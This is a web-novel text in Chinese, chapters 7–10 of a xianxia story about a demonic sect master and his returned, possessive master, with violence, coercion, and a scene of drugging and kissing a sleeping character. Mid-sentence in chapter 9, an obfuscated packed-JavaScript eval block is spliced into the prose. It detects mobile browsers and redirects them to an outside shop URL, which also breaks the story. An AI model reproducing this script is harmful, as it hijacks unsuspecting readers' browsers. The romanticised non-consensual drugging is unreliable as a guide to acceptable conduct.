《我观师尊多有病》 7. 第 7 章 张阳感觉自己已经在这片林子中绕了许久。 山海楼背山靠水,楼前一片广阔的池塘,他平日里也经常穿过池边的林子在楼中走动。 熟悉的道路在月色下却蒙上了一层阴影,让人方位感全失,又见到那做了记号的树干后,张阳不得不停了下来。 “这……”跟在他身后的手下犯了难。除了为首的张阳,一行人脸上俱是忐忑之意。 原本这趟他们来得就不情不愿——刺杀闻厌,这听起来就是个有去无回的差事,偏偏跟的主子突然失心疯了一般,下了死令,他们皆是听命于人,对此毫无办法。 “我们总被困于此处,想来是楼主……”在被其他人狠狠瞪了一眼后,那人咽了口唾沫,识趣地改了口,“想来是闻厌那厮生性狡诈,早就留下手段自己躲了起来,我们不如改日……” “择日不如撞日,就今日吧。”带着笑的嗓音突然在头顶响起,吓了所有人一跳。 意识到声音的主人是谁后,跟在张阳身后的手下霎时白了脸。众人齐刷刷抬头看去,才发现找寻许久的身影就坐在头顶的树枝上。 白皙纤细的手执着长长的烟杆,敲了敲底下的枝干,那段树枝便载着闻厌晃晃悠悠地垂了下来,落到和他们头顶平齐的高度。 闻厌懒得站起来,就坐在那垂着眼睛看向众人,笑道:“诸位找本座何事?” 张阳看了闻厌一眼,突然二话不说就冲了上去,猛地一掌向闻厌拍去,快到身后的手下后知后觉地才跟着动手。 下一瞬,迅猛的攻势就被一把华丽冰冷的烟杆轻飘飘地抵住了。 闻厌诧异地挑了挑眉:“上来就玩命?” 暴虐的魔气萦绕在张阳掌心,血脉中的魔息在沸腾,以手掌为支点向四周快速扩散,让他全身都布满了漆黑可怖的纹路,脸上肌肉抽动着,显得格外狰狞。 可却再难前进一寸。 张阳自知以两人的修为差距,自己必须拼尽全力才可能重创闻厌,故而一上来就下了死手,以求打对方个措手不及。 但绝不是如今这般完全被单方面压制的局面。 他看着飘然而下,落在自己面前的闻厌,不可置信道:“怎么会……你的功力为何会进长得如此之快?” 闻厌像是完全没有感受到对方以命相搏的紧迫,还有闲心玩笑道:“想学呀?若是求我,可以考虑一下。” 张阳怒喝一声,撤掌运起身法再度袭来。 闻厌“啧”了一声:“你不乐意学我还不乐意教呢,反应那么大干什么?” 但对方明显一心只想要他的命,根本不接话。 其他人同时拔剑出鞘,脚下步法变换,鬼气森森的剑阵逐渐成型,将闻厌包围起来。 而张阳一击不成,身上的魔气暴涨,整个人都淹没在魔气凝成的巨大虚影中,一拳又一拳向闻厌砸去,更显得他面前的少年脆弱单薄,不堪一击。 偏偏闻厌身形轻盈如鬼魅,游鱼般在众人间穿梭,没见半个血口子,倒是张阳带来的手下被他自己砸倒了不少。 被他们波及,林子里的树倒了一片,眼见打斗间重新回到了闻厌一开始坐着的树下,闻厌终于冷下脸来,烟斗一抬,挡住了将要碰到树枝的魔气虚影。 闻厌一甩袍袖,手中的烟杆如笔,抬手在半空中行云流水地轻点,身侧顿时浮现出比在场所有人都要强横霸道的魔息,在月色下泛着不详的黑红色,满是肃杀阴戾之气,张阳等人刚一近身,便倒飞出三尺之外,乱七八糟地掉在林中,发出令人牙酸的声响。 痛苦的哀嚎呻吟这才响起,闻厌向张阳踱步而去,衣摆在满地落叶上扫过,留下冰冷漂亮的弧度。 张阳想要爬起来,但浑身筋骨尽断,只能眼睁睁地看着闻厌慢慢向自己走来。 闻厌垂眼看向脚边半死不活的身影。 刚才那骇人的虚影已经消散,张阳身上的魔气开始反噬,血液不断渗出,将身下染成暗红色。 “你是张阳,对吧?”闻厌看着那张满是血污的脸,从上面的狰狞伤疤确认了对方的身份,“我记得你是秦谟的人,” “按理来说,本座现在和你们秦长老还是井水不犯河水吧?”闻厌蹲下身,真心实意地疑惑道,“你主子怎么突然不装了?那么迫不及待地派你来杀本座。” 张阳急促喘息着,眯缝着眼,透过满目血色看向闻厌,没有应声。 他虽然在山海楼中品阶不高,但也算有些年头,见过眼前人还跟在贺峋身边的时候。 那时他们称呼闻厌还是“少主”,虽然对方从小就天赋异禀般的行事出格,但众人对其还没有如此强烈的畏惧之感。 直到贺峋死后,这人接管了山海楼,手段狠辣地铲除异己,凡是想要一争楼主之位者,皆被扔到塘中喂了鱼,剩下不敢造次的长老也全被逼着服下了蛊虫,自此性命完全拿捏在闻厌手中,不得不俯首听命。 张阳当时身份低微,侥幸逃过一劫,只是今日…… 等了许久都没有得到回应,闻厌却没有面露不耐,仍是好脾气地看着张阳。 一番打斗,闻厌那张漂亮的脸仍旧格外白皙干净,眼神清澈,神情诚挚,看起来下一瞬就要与人握手言和。 可张阳知道,眼前人越是表现得温和可亲,就越让人畏惧。 ……和他那师尊一模一样。 “我不知道。”张阳知道这个答案绝不会让眼前人满意,但仍旧开口道。 果不其然,闻厌眨了眨眼,周遭气氛逐渐冷了下去。 张阳置若罔闻,还要继续道:“今日之事也与秦长老无关,要杀要剐,悉听尊便。” 这下闻厌直接笑出了声:“你说这话我信不信?” 闻厌道:“我知道,秦谟他救过你的命,才让你对他如此死心塌地。” 张阳一惊,此事隐蔽,甚少人知晓,闻厌怎会…… 闻厌神情不变,慢悠悠道:“我还知道,秦谟此人唯利是图,你刚才耗尽毕生功力,就算能活下来,也成了废人一个,他不会再用你。” 张阳的眼神有了波动,就听眼前人道:“但我可以救你。” “我可以让你平复如故,让你修为突飞猛进,让你大权在握,获得不下于秦谟的地位。”闻厌轻声细语道,“你知道,以我的能力,这不难办到。” 张阳的喘息愈加艰难,说话都像破旧的风箱,他盯着闻厌,“我刚才是要取你性命,楼主竟如此大度?” “没办法,本座爱才。”闻厌轻笑,“只要你投效于我,本座可以不计前嫌。” 张阳沉默良久,闭上了眼:“我已发过誓,此生只会追随秦长老一人,多谢楼主厚爱。” 拒绝的话出口,他已经预料到可能会迎来的惨痛折磨。 山海楼的楼主,若没了价值,可不会对胆敢刺杀自己之人网开一面。 没想到闻厌只是轻飘飘道一句“可惜了”,便径直起身。 张阳能听到脚步声远去,闻厌似乎停在了另外一个人面前。 张阳带过来的人已经死伤殆尽,只剩一个还能出气。闻厌无甚兴趣地瞥了那人一眼,终于抬手示意周则出来。 闻厌淡声道:“杀了吧。” 周则应了一声,正要动手。 “……等等!”那人拼尽全力翻身而起,不管不顾地扑上前抓住了闻厌的衣角,叫喊道,“小人仰慕楼主已久,绝无谋害楼主的意思,这次完全是被逼无奈,此后小人愿追随楼主,为楼主效劳!” “放肆!”周则皱眉低喝,“竟敢对楼主出言不逊!” 闻厌抬手拦住了周则,垂眸笑道:“你仰慕本座?” “不不不。”那人这才意识到自己说错了话,额上渗出冷汗,“是敬仰,小人敬仰楼主。” 闻厌听人说完,也没反应,就含笑看着人在自己脚边瑟瑟发抖。 微凉的晚风一吹,上空的云层散去,月光毫无阻碍地倾泻下来。 闻厌笼罩在皎洁的月色中,环着手臂,烟杆上坠着的流苏一晃一晃的,似笑非笑地半垂着眼。 那人手一抖,慌忙松开了闻厌的衣角,不敢抬眼,只敢盯着对方衣料上流转的暗纹,提心吊胆地悬着一口气。 然后肩膀就被人戳了戳,触感冰凉又坚硬,让他条件反射地浑身一颤,整个人惊叫一声向后跌去。 “怕什么?本座又不会吃人。 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此人在闻厌登上楼主之位时就很识时务地第一个归顺,多年来暗中经营,已经坐稳了第二把交椅。然而秦谟本人此时却连坐都不敢坐,点头哈腰地看着坐在桌旁的身影,感受到对方语气中的不悦,后背冷汗冒了一层又一层。 两人中间的留影珠尽职尽责地在不断重复着记录下的场景,秦谟不知如何应声,只能埋着头,看向已经反复好几次的画面。 刚才那场刺杀已经再次到了尾端。 秦谟看着自己派出去的手下说叛变就叛变,一匕首扎在心腹张阳心口,彻底断了张阳所剩无几的生机。 沾了血的匕首被捧到闻厌面前邀功。 闻厌接过匕首,挑剔地看着上面的血迹。 那人以为自己已经通过了考核,正松一口气。闻厌突然就把匕首抛回给了周则,弯下腰,对跪在自己身前的人笑得温柔又动人:“本座想了想,还是不太放心。你可以背叛旧主,我又怎知你来日不会背叛我?” “楼主!”那人瞬间急了,搜肠刮肚地想着表忠心,叫道,“楼主我愿意服下蛊虫!” 他看着闻厌拿出来的那个小盅,眼神畏惧,正要似死如归地接过,哪知道对方只是在他的眼皮子底下晃了一圈就收回去了。 闻厌摇了摇手中的小盅:“想得美,这东西可金贵着呢。” 他转身,自己先踏上林间小道,对周则道:“处理干净了就跟上来。” 利刃穿破皮肉,所有的叫喊挣扎戛然而止。 接着便是几声沉闷的落水声,留影珠遇水失效,画面一黑,再无下文。 一片让人窒息的昏暗过后,画面再度亮起,被人拉回到闻厌拿出蛊虫那一幕。 对着这东西,秦谟只是看一眼都觉得四肢百骸隐隐幻痛起来。但很快,他就发现这似乎不是自己的错觉,蛊虫发作的痛苦毫无征兆地袭来,让他禁不住扑通一声跌倒在地,疼得哀嚎着满地打滚。 闻厌…… 秦谟满脸是汗,咬牙切齿,知道是对方为今晚的刺杀算账来了。 恍惚中,秦谟听到桌旁冷眼旁观的身影终于再次开口:“我是答应你,可以帮你解了身上的蛊虫。” 这句话对秦谟来说宛若天籁之音,他挣扎着爬起来看向对方,却先被猝然亮起的灯火晃了下眼睛,再睁眼时,秦谟才看清了对方的神情,心头一凉。 坐在桌边的正是贺峋,只是好像出了什么问题,身影模糊,并非实体。 但即便如此,秦谟也根本不敢怠慢,更遑论现在对方微压着眉,和他对视时的眼神凉薄又不悦。 贺峋开口道:“但你可没告诉我,你表达诚意的方式就是找几个蠢货去刺杀我的人。” 本就是虚影的手触上留影珠中的画面,轻轻碰了碰里面闻厌的脸颊,带着股诡异的缱绻。 下一瞬,五指一收,画面化作飞灰散去,贺峋俯下身,盯着秦谟的眼睛,道: “他是我的,谁也不许动他。” “听明白了吗?” 8. 第 8 章 等到贺峋再度从冰棺中睁眼,就见寝殿窗台旁的小塌上缩着一个熟悉的身影。 闻厌本就是浅寐,察觉到有人向自己走来,身子动了动,就要睁眼。然而贺峋先一步俯身,伸手捂住了徒弟的眼睛。 闻厌已经下意识地抬手,却只觉一阵异香袭来,将要抓到对方的袖口时力道一松,抬起的手无力滑落,重新昏睡过去。只余纤长浓密的眼睫在对方掌心刮了刮,宛若主人不甘的挣扎。 贺峋移开手,顺势替眼前人将睡乱了的碎发理回耳后,拇指指腹摸了摸闻厌的脸颊。 即便如此,闻厌还是没有醒来的迹象,乖乖地任人施为。 贺峋脸上浮现出满足的笑意,一手撑着塌沿,继续垂眼专注地盯着闻厌熟睡的面容,好像怎么都看不腻。 手指随视线一寸寸滑下,松松地搭在闻厌纤长脆弱的脖颈上,贺峋摩挲着掌下光滑细腻的皮肤,眸中的笑意越发明显。 不愧是他亲手教出来的好徒弟,就连他死后也不得安生。这次一回来,就发现自己的尸身上被下了层层禁咒,解开还要花不少功夫,让他只能入夜之后才以自己原本的样貌出现,若是要离开寝殿的范围,还只能以神魂的方式。 贺峋搭在人脖子上的手一紧。 然后手腕一转,改为揽着肩膀,把人打横抱了起来。 贺峋心情很好地哼着调子,抱着徒弟往殿中的床榻走去,身后一声东西落地的轻响,好像有什么被他带着掉到了地上。 贺峋脚步未停,转头扫了一眼,见是一把长柄烟斗静静地躺在地上。 他还记得刚才看到的画面,闻厌执着烟杆,在月色中飘然出现在众人面前,素白纤长的手指被墨玉烟杆一衬,越发白得耀眼。 当他在身侧缭绕的烟雾中漫不经心的抬眼时,淡漠,危险,又迷人,漂亮得无与伦比。 但他不喜欢。 于是贺峋又转身走了回去,坐在了闻厌一开始小憩的塌上,把人放下后招了招手,接住飞到他手中的烟斗。 贺峋把烟斗拿起来对着光打量,最后干脆拨了一些未燃尽的烟草出来,用手指捻了捻。 不同于普通烟草的呛人气味,沁凉清冽,闻之清心醒神,更像是经过专门炼制后的冰月草。这种灵草并不常见,只生长于极北之地,具有绝佳的镇痛功效。 镇痛…… 贺峋若有所思地转过头,躺在自己身侧的徒弟看起来确有不适,睡着睡着,整个人不知不觉地就又蜷了起来。 本来骨架就小,平时被宽大的衣服裹着看不出来,现在缩着抵在墙边,就成了一小团,脸色是不正常的白,嘴唇也失了色,被贺峋理好的碎发又乱了,沾着冷汗,狼狈地散落在鬓角。 ……看起来还怪可怜的。 然而贺峋刚弯腰凑近去看,突然被人一把攥住了衣袖。 “师尊……”闻厌还是没有睁眼,蹙着眉,但脸上浮现出的困惑和迷茫已经盖过了那点隐忍的痛苦,喃喃着,“为什么?那晚你……” 贺峋就这么看着睡梦中的徒弟,没有任何回应的打算。 若要准确地形容,他看起来好像还更加愉悦了一点。 直到闻厌毫无征兆地一挥手,贺峋反应及时地向后一仰,才没被自己徒弟赏一巴掌,然而还是被结结实实地踹了一脚。 “滚!”小祖宗不知为何,火气突然大得很,做着梦也骂,“贺峋!你这个……唔嗯……” 被人捞起来堵住了嘴。 唇舌相接的刹那,闻厌是拒绝的,抵着贺峋肩膀要把人推开,然而很快在裹挟而至的熟悉气息中放弃了抵抗,任由对方把自己抱了个满怀,顺着贺峋的力道抬起下颌,毫无知觉地迎合这个吻。 被放开的时候,苍白的唇色被艳丽的殷红取代,贺峋还尤嫌不够,拇指揉弄着柔软的唇瓣,让其彻底变得鲜红欲滴。 “厌厌,直呼师长名讳可不是个好习惯。”贺峋把人拦腰搂在怀中,就贴在闻厌耳边温声细语,也不管人听不听得见。 他抬眼看了下窗外的天色,自顾自笑道,“不过谁让为师脾气好呢,这次就先放过你了。” …… “景明,怎么了?” 近几日的闻厌有些沉默,自打上了马车后,唐柏就见人没精打采地趴在窗边,心不在焉地看着外面,忍不住有些担忧。 “啊,没事。”闻厌转头冲他笑了笑,支起身子,无意识地又摸了摸自己唇角。 前几日自睁眼开始,他便感觉浑身上下有些不舒服,但又说不上来具体哪里不舒服。这种不妙的预感一直在心中挥之不去,为此他花了许多功夫把寝殿仔细检查了一遍,还让周则专门留意夜间楼中的动静,但都没有任何异样。 就像有人悄无声息地潜入他的寝殿来了个春风一度,又悄无声息地离开,没有留下一丝踪迹。 但怎么可能呢?整个山海楼没有人能进入他的寝殿。 贺峋将闻厌的这些小动作尽收眼底,没有作声,却也偏头看向窗外,愉悦地弯了弯嘴角。 “我还是觉得这样风险太大了,景明你好不容易才从那里逃出去,若被认出来岂不是前功尽弃。”唐柏已经自行给闻厌的心不在焉匹配上了前因后果,满面愁容。 “真的没事。”闻厌耐心地搬出那套已经重复了不知多少遍的说辞,“虽然我少时被迫和山海楼签了死契,但上次出逃时我就已经解决好了,而且这次我是改换容貌回去,不会被发现的。” 但唐柏看起来还是比闻厌本人要紧张和担忧多了。 ……又是白费口舌。 闻厌暂时放弃了对唐柏的安抚工作,转而看向车厢中的另一个活人。 马车正平稳地行进在去山海楼的路上。 对比唐柏的忐忑不安,这个自称叫徐文的男人看起来镇定多了。 饶有兴致地看着窗外的景色变化,整个人不像是即将前往危机四伏的魔域深处,反而像在踏青路上。 也不知看到什么,还笑。 不爽。 没有缘由,闻厌看着对方脸上的笑就是不爽。 “徐兄好兴致。”闻厌笑眯眯地开口,“是对魔域很熟悉吗?好像一点都不紧张。” “是第一次来。”贺峋轻描淡写地绕过了闻厌挖的坑,收回视线,放松地靠着轮椅椅背,看着闻厌笑道,“只是觉得既来之,则安之,见机行事即可。” “徐兄说的是。”唐柏一脸受教了的表情,看着前方已经越来越接近的山海楼地界,深吸一口气,“也不知道山海楼的入门考核是什么,希望不要太多人竞争或者太难了。” ……事实是唐柏的第一个希望就落了空。 他们刚下马车,就被人潮包围了。 搞什么…… 闻厌站在人群之中有些莫名,他特意让周则晚些才把消息放出去,就是为了少些人,好名正言顺地放水把唐柏弄进楼中,周则那家伙弄那么大阵仗干什么? 但很快闻厌就意识到是他错怪自己的副使了。 山海楼多年没有招过人,消息一出,就引得无数人趋之若鹜,若是时限再放长一些,可能半个魔域的魔修都要来了。 这场景同样也让周则一出现就皱起了眉。 这可不符合那位的要求。 不过在有所行动前,周则先不引人注意地在人群中搜寻了一番闻厌的身影。 人群拥挤,所以显得因为坐轮椅而空出来的位置格外突出,让周则很快就连带着找到闻厌所在。 “一个残废还来凑什么热闹。” 有人没站稳撞到贺峋的轮椅上,看清楚后没好气地啐了一口。 贺峋闻声看了那人一眼。 青年模样,神情跋扈,目露不屑,看人时吊着眼,鼻孔都要朝到天上去。 贺峋抬手,却是扶了一下同样被那人撞到的闻厌,面色如常地移开了目光,没有搭理对方的话。 那人见状,得意地哼了一声,扭 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周则言简意赅道:“一炷香的时间内,在秘境中找到山海楼令牌的,胜出。” “可以抢吗?”有魔修大声问道。 “随意。” 周则说完后就退到一旁,让众人自行进入秘境。 三人说定先分头行动,各自碰碰运气。 闻厌才懒得真老老实实把流程走一遍,等到只剩自己一人后,熟门熟路地绕去了最偏僻的秘境边缘,准备找个地方眯一会。 “原来闻楼主躲到这里来了。” 闻厌才舒舒服服地倚着树干躺下,就听一道熟悉的嗓音在树下响起。 贺峋只见面前树叶簌簌落下,然后树间垂下一截淡青色衣角,闻厌探身不悦地盯着他道:“你跟踪我?” 贺峋道:“不敢。只是突然有些好奇闻楼主此时会做些什么,便跟了过来。” 还有脸说不是跟踪…… 这个高度刚好让他垂眼就可以看到人,闻厌嗤笑道:“还有闲心管我干什么?难不成你觉得我会帮你进山海楼吗?” 闻厌手中还拿着条刚掰下来的树枝,尖锐的断面戳在眼前人需要坐轮椅的腿上,话音刚落,突然气势一变,平平无奇的树枝带上了浓厚的杀意,带着风往对方的脖颈刺去。 贺峋一拍轮椅扶手,身形向后掠去,避开了闻厌的攻势。 闻厌紧追不放,贺峋不得不出手招架。 过招间,闻厌意外地发现对方修为竟然比初见时涨了不少,但内府还是虚弱,有着重伤未愈之相。 两人一开始所在的树旁是一处断崖,闻厌很快就把对方逼至崖边。 贺峋背靠着万丈深渊,微微仰头,和指着自己脖子的树枝拉开一点距离。 他平静地对闻厌笑道:“不知是何处得罪了楼主?突然要置我于死地。若是因为跟踪之事,我可以道歉。” “不必,突然看你不太顺眼罢了。” 闻厌没有再往前逼近,就让对方的轮椅处于一个危险的平衡位置,懒洋洋地抬手,树枝漫不经心地在眼前的脖颈上下滑动。 “你坏我计划,按理来说我是会杀你的。”闻厌用树枝戳了戳对方,笑眯眯道,“可是我又不想杀你……但不代表这事就这样过去了,我高兴的时候可以和你说说笑笑,不高兴了就要拿你出气,反正你现在中了蛊,别无选择。” 贺峋无奈地弯了眼睛:“……闻小魔君未免也太不讲理。” 闻厌理直气壮地回道:“在山海楼,本座就是道理。” “好吧。”贺峋像是屈服在这种强盗逻辑下了,“这样出气了吗?” 嗯? 手中的树枝被人攥住,紧接着突然被抓着一扯,闻厌还没放手,对方的轮椅就往后一滑,连带着他也一起坠入身后的万丈深渊之中。 9. 第 9 章 闻厌是倒在贺峋的轮椅上一起往下摔的。 呼啸的风声中,哐啷一声巨响,轮椅砸落在地,哪怕用了术法缓冲,从高处坠落带来的冲击力也震得人脑子生疼。 然而闻厌都等不及从对方身上爬起来,就揪着贺峋的衣襟怒道:“你是不是有病?!” “我只是有些好奇秘境的悬崖之下会有什么,让闻楼主受惊了,实在抱歉。” “好奇?”闻厌嗤笑道,“你怎么什么都好奇?要不要好奇一下自己的死法?” “不会的,修道之人,身体强度已非常人所能及,就算跳崖也不会死去。”贺峋温声道。 闻厌却恼火得有些反常,像是勾起了某些相似场景下的应激反应。他面色不善地盯着人好一会儿,最终只是没好气道:“跳崖是不会,但在秘境中跳崖就不一定了。轻则神魂受损,重则变成痴呆,你想寻死别带上我。” “这是山海楼的秘境,你身为楼主,没有看过崖底下有什么吗?” “哈?”闻厌冷嘲热讽,“我是楼主,不是蠢货,无缘无故跳崖寻刺激,我有毛病?” “……咳咳。” 咳嗽声带着明显的提醒意味,暂时打断了闻厌,让他向声音传来的方向看去。 落地后他只是粗略地扫了一眼确认没有危险,现在抬起头来,才发现他们两人正身处秘境的出口。 有人陆陆续续地从秘境中出来,大多灰头土脸,形容狼狈,看到纠缠在一起的两人,不禁投去探究的目光。 闻厌和贺峋离得近,哪怕吵起来音量也不大,在离得远的其他人看来便像是亲密至极的耳语。 闻厌:“……” 众目睽睽之下,他面不改色地起身,毫不避讳地扭头一个个看回去,神情平淡,却让人背后一凉,迅速移开了视线。 最后只剩下一开始提醒他的周则。 周则就知道,有他们楼主在的地方肯定不会安生。 他本想趁闻厌独自一人时把令牌给对方,哪想到对方进了秘境后就没搭理过他的传音,也不知道在干什么,再次出现时就是和人双双跌落在众人面前。 不过这些在闻厌看来应该都不是大事,撩起眼皮扫了自己下属一眼,示意人现在把东西拿来。 周则会意。没一会儿,闻厌手中就多了两块沉甸甸的令牌。 ……嗯?两块? “景明还是嘴硬心软。”手中蓦地轻了一半,另一块令牌被身边人很自然地拿了过去。贺峋收好自动到手的令牌,笑道:“多谢。” 不是客客气气的闻楼主,也不是带着些调侃意味的闻小魔君,闻厌第一次在两人私下相处时听对方这么叫他。 闻厌要把东西拿回来的动作一顿,就在这一空档,唐柏也从秘境中出来了。 ……对啊,唐柏。 闻厌直到这时才惊觉他把这人给忘了。 这位才是让他在这里兢兢业业陪对方玩过家家的主角呢。也不知怎的,注意力总是莫名其妙飘到那坐轮椅的身上。要是唐柏进不去山海楼,他还要想办法把自己手中的令牌塞给对方。 不过没想到唐柏自己还挺争气。 闻厌远远的就看到他手中紧攥着一个令牌,生怕别人抢走似的,金属的边角都要扎进肉里,满脸是血,神情有些恍惚,才走没几步,就猛地蹲在路边干呕起来。 闻厌当即要过去,却被人从后面扯住了。 贺峋道:“闻楼主那么着急,好像很关心的样子?” 闻厌莫名其妙,反问道:“不然呢?难道我要关心你吗?” 他扫一眼对方手中的令牌,哼了一声:“趁我现在不想跟你计较,别得了便宜还卖乖。” 闻厌三两下扒拉开扯着自己的手就往前走,都没再回头看人。他围着唐柏绕了一圈,没发现有什么致命伤,奇怪道:“这是怎么了?” “我……”唐柏踟蹰,在看到从秘境中出来的身影时整个人下意识地一抖。 闻厌扭头去看是什么能把人吓成这样。 嚯,还是熟人。 那人刚刚还指着贺峋鼻子骂残废,现下全身是血,眼中还有未褪去的凶狠,走到周则面前时,神情好不得意。 他哗啦啦地倒出好几块令牌来:“我进山海楼后是不是能和那些废物不一样?” “就是他。”唐柏这时候开了口,“他的令牌全都是靠杀人抢来的。” 可怕的是秘境中并不是只有一人如此,唐柏差一点就也被人下了手,拼死反击才护住了自己的东西。活到这么大,这是他第一次亲自动手杀人,直到现在那感觉都让他想吐。 闻厌轻轻挑眉。 周则先看了一眼闻厌,见人没有反应,便自己对人道:“可以,你直接进内门。” 从秘境中出来后,还能留下来的人屈指可数,这才代表着拥有了正式踏入山海楼内的资格。 “唐柏兄你还好吗?脸色看起来好糟糕。”一坐上进入楼中的飞舟,闻厌就端详着唐柏的脸色,担忧道。 “景明……”唐柏犹豫良久,终于问出口,“你杀过人吗?” 他不像是想要一个答案,而是想要一个能够倾诉的对象。没等人回答,他就自顾自地道:“我……我动手了,刚才有人……我,我迫不得已……” 唐柏的叙述语无伦次,但另外两人都没有打断他。 贺峋想起闻厌也曾有过这种时刻。 那时候的徒弟还只到自己腰间,眉眼从小就精雕细琢般好看,浑身细皮嫩肉的,看起来娇贵得很。 但一沾上血就不同了。 手起刀落,干脆又利落,带着赏心悦目的美感,回头看向自己时抬手擦了下脸,血色在脸颊上拖出一条艳丽的尾巴。 闻厌拖着染血的长剑一步步走来,然后把剑扔在贺峋面前,仰头看着人笑:“师尊。” 眼中亢奋扭曲的笑意还未散去,赤裸裸地展现在贺峋眼前。 “反应当然会大呀,这是正常的。”贺峋回过神来,就听闻厌已经宽慰了唐柏好一会儿,又倒了杯温水放到对方手心里,“要在魔域里生存就是这样的,习惯了就会好些。” 熨帖的温度透过杯壁传到掌心,一点点让慌乱的心脏平定下来,少年人的嗓音亲和悦耳,唐柏感激之余,又不禁有些惭愧。亏自己还年长几岁,却处处都要对方照顾。 “景明说得对,慢慢来,不着急。”贺峋也开了口,倒了杯温水放在闻厌面前。 闻厌诧异又颇具有趣地看了人一眼,便对上贺峋滴水不露的温和笑容。 经过一日的生死搏杀,众人都疲惫不堪,抵达山海楼后,都待在自己分到的住处休整,等明日才分配下来的具体安排。 一番折腾下来天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327380|140446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色已晚,闻厌披着夜色,往内门的方向走。 随着他的脚步,脸上用于掩饰身份的易容悄无声息地散去,等行至他自己的寝殿附近时,已经恢复了原本的容貌。 "楼主。" “见过楼主。” 闻厌淡淡应了,就快要进寝殿时脚步一拐,来到了渡廊连着的侧室。 室内光线昏暗,只有黯淡的烛光在摇曳。 闻厌挑了挑嵌在壁上灯盏,让暖黄色的光晕照亮面前供桌上稀稀落落的灵牌。 魔域一向信奉弱肉强食,山海楼每任楼主几乎都不得善终,成王败寇之下,牌位还被供奉起来的屈指可数,还是闻厌接任楼主之位后,这地方才重新被收拾起来。 摆放在正中的成色最新,像有人经常擦拭,一尘不染得格外突出。 但竖在那的所谓灵牌就是一块普普通通的木板,被人随意捡了块木料削成的一样,上面一片空白,只刻了孤零零的一个贺字,立在一众正儿八经的灵牌之前,有种滑稽的荒谬感。 闻厌就揣着手静静地站在这块不伦不类的灵牌前。 有人进来,带起的风让桌上的烛火晃了晃。 闻厌伸手拢了下烛火,头也没回道:“明正。” “属下参见楼主。”周则一丝不苟地行礼。 “行了,那么拘礼做什么。”闻厌转过身,倚着身后的供桌,懒洋洋地抬眼看人。 周则直起身,但还是恭敬地低着头,问起闻厌今日新来楼中的人要如何安排。 “其他人你做主就是了,随便安排点什么差事,如果有能力,提上来也未尝不可,至于唐柏……”闻厌干脆地道,“就跟着你吧。” “加上那坐轮椅的残废。”闻厌对自己下属愕然投来的视线视若未见,轻飘飘地加上了最后一根稻草,“噢,还有我。” “楼主,楼主是否要再思虑一二……”周则第一次对闻厌的命令没有立刻应下,有些艰涩道。 他无法想象他们楼主隐藏身份听自己号令的场景。谁敢使唤这位祖宗啊?一不顺心怕是会把整个山海楼都掀了。 “要你做你就做。”闻厌露出个“怎么磨磨唧唧”的嫌弃眼神。 或许是周则的眼神太过于惶恐,闻厌还是良心发现,解释道:“不会太久。过段时间不是要去见广云宗那群老家伙吗?到时能把唐柏顺理成章带上就成。” 再深一些的原因闻厌就没有说了,不过这些交代对周则已经足够。 他点点头。 周则知道他们楼主已经交代完事情了,正抱着手臂看着自己。暖黄的光映在闻厌侧脸,让人难得现出几分柔软。 周则的眼神落在闻厌身后那块滑稽的灵牌上,还是没走:“属下还有一事。” “说吧。” 既然事还没完,闻厌便顺手侧身去拿剪子修桌上蜡烛的烛芯。 “除了唐公子之外,与楼主一道的那人……” 周则还没问完是不是要关照一下,就见闻厌突然想起什么,语气有些不悦:“今天你还多把一块令牌给他干嘛?” “啊?”周则有些疑惑,“属下见楼主与那人交好,就以为……” “我哪里和他交好了?你以为他现在和我是什么关系?” 周则经历了一番挣扎,还是小心翼翼地道:“呃,楼主新看上的……脔宠?” 10. 第 10 章 “咔擦——” 闻厌手一抖,可怜的蜡烛直接被腰斩,带着火滚下了桌,然而紧接着爆发的大笑让在场两人都没空理会它。 “哈哈哈哈哈周明正,你……”闻厌笑得上气不接下气,乐不可支道,“你说你,平时看起来一本正经的,脑子里都在想些什么?” “我,不是,楼主,我没……”周则肉眼可见的窘迫,半天憋不出一句完整的话,在还变本加厉的笑声中脸越来越红。 闻厌肆无忌惮地笑够了,才直起身,把已经烧上周则衣角的火星踩灭了。 闻厌道:“没这回事,你该怎么做就怎么做,别想那么多。还有……” “什么叫‘新看上的’?”闻厌踱步到人前,把剪子的刀刃一转,懒洋洋地拿另一头去戳人,睨周则一眼,不满道,“好像我过得多么淫靡不堪似的。” 在闻厌靠近的瞬间,周则整个人就僵住了,一时都没留意对方说了什么,还是闻厌叫了他几声,才回过神来手忙脚乱地道歉,最后同手同脚地出去了。 ……今晚吃错药了? 闻厌看着人背影腹诽,摇了摇头,独自待了一会儿,也掩上门离开了。 - “周副使好像和我想象中的不太一样。”唐柏一边整理文书,一边对闻厌道。 “嗯?哪里不一样?” 如今对着闻厌,唐柏基本上已经毫无防备,想到什么就说什么:“没想到他看起来冷漠不好接近,实际上却非常通情达理,还很照顾我们。” 有时唐柏都觉得通情达理过头了,这几日景明身体有些小毛病,那位周副使只要一看到人脸色不对,就干脆让他们直接歇息了。 唐家还没出事时,他也跟随族中长老修行过,族中子弟绝不可能如此清闲。 因此唐柏真心实意地困惑道:“山海楼的弟子日常任务就是整理文书吗?” ……当然不。 他们能有此待遇,全多亏隐藏身份跟着的闻厌。周则只要一看到他们楼主,别说给人指派任务了,还要用尽全力控制住了,才没出现山海楼副使对一个新入门小弟子俯首帖耳的荒谬场景。 闻厌弯起眼睛笑:“可能是周副使觉得我们对楼中事务不熟悉,就让我们先从简单的事情上手吧。” “但是这些东西,真的是我们能看的吗?”唐柏踟蹰道。 周则从这次进入山海楼的众人中挑了四人,除了选拔当日就答应可以进入内门的那位,还有唐柏他们三人。 能直接跟着楼主的副使,其余人都艳羡不已。但唐柏跟着周则来到信阁,才发现这里根本不是寻常宗门中的那些藏书之地,整个山海楼的通信机要都从此周转,其中不乏机密信件,虽然落了法咒,但就这么从自己手中经过,唐柏还是难以置信。 不过唐柏进入山海楼的目的本来就是打探消息,如今分到的差事,简直就是千载难逢的机会。 